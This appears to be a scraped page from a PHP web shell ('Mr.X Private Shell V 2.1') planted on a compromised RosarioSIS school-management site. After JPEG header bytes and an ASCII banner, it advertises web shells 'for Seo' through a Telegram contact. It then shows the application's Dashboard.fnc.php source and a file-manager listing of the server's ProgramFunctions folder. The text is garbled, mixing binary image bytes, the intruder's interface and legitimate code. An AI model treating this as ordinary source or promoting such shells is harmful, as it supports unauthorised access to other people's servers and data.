����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Dashboard
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Dashboard build
*
* Calls, for each active and user module
* the `Dashboard[Module_Name]` function.
*
* Place your add-on module `Dashboard[Module_Name]` function in the functions.php file.
*
* @uses $_REQUEST['_ROSARIO_DASHBOARD']
*
* @todo For example, set $_REQUEST['_ROSARIO_DASHBOARD']['export'] to 1 to export data.
* In URL: &_ROSARIO_DASHBOARD[export]=1
*
* @global $RosarioModules
* @global $_ROSARIO
* @see DashboardModule.fnc.php for default core modules `Dashboard[Module_Name]` functions.
* @since 4.0
*/
function Dashboard()
{
global $RosarioModules,
$_ROSARIO;
require_once 'Menu.php';
require_once 'ProgramFunctions/DashboardModule.fnc.php';
if ( ! isset( $_ROSARIO['Dashboard'] ) )
{
$_ROSARIO['Dashboard'] = [];
}
if ( ! empty( $_REQUEST['_ROSARIO_DASHBOARD'] ) )
{
$_ROSARIO['Dashboard'] = array_merge_recursive( $_ROSARIO['Dashboard'], $_REQUEST['_ROSARIO_DASHBOARD'] );
}
foreach ( $RosarioModules as $module => $activated )
{
if ( ! $activated )
{
// Module not activated.
continue;
}
if ( ! function_exists( 'Dashboard' . $module ) )
{
// No Dashboard function for module.
continue;
}
if ( empty( $_ROSARIO['Menu'][$module] ) )
{
// User profile has no access to module.
continue;
}
$dashboard_html = call_user_func( 'Dashboard' . $module );
DashboardAdd( $module, $dashboard_html, true );
}
}
/**
* Dashboard Output HTML
* Modules HTML inside PopTable
*
* @global $_ROSARIO
* @since 4.0
* @since 7.7 Move Dashboard() call outside.
*
* @param integer $rows Number of modules per row, defaults to 4. Optional.
*/
function DashboardOutput( $rows = 4 )
{
global $_ROSARIO;
if ( empty( $_ROSARIO['Dashboard'] ) )
{
return;
}
echo '<br>';
PopTable( 'header', _( 'Dashboard' ), 'width="100%"' );
?>
<table class="dashboard width-100p valign-top fixed-col"><tr class="st">
<?php
if ( $rows < 1 )
{
$rows = 4;
}
$row = 0;
// Output Dashboard modules, 4 per row.
foreach ( $_ROSARIO['Dashboard'] as $html ): ?>
<td><?php echo $html; ?></td>
<?php
if ( ++$row % $rows === 0 ): ?>
</tr><tr class="st">
<?php endif;
endforeach;
?>
</tr></table>
<?php
PopTable( 'footer' );
}
/**
* Add module HTML to Dashboard
*
* @global $_ROSARIO Add module HTML to $_ROSARIO['Dashboard'][ $module ]
* @since 4.0
*
* @param string $module Module.
* @param string $html Dashboard HTML.
* @param boolean $append Append HTML.
*/
function DashboardAdd( $module, $html, $append = true )
{
global $_ROSARIO;
if ( empty( $html ) )
{
return;
}
if ( $append
&& ! empty( $_ROSARIO['Dashboard'][$module] ) )
{
$_ROSARIO['Dashboard'][$module] .= $html;
}
else
{
$_ROSARIO['Dashboard'][$module] = $html;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|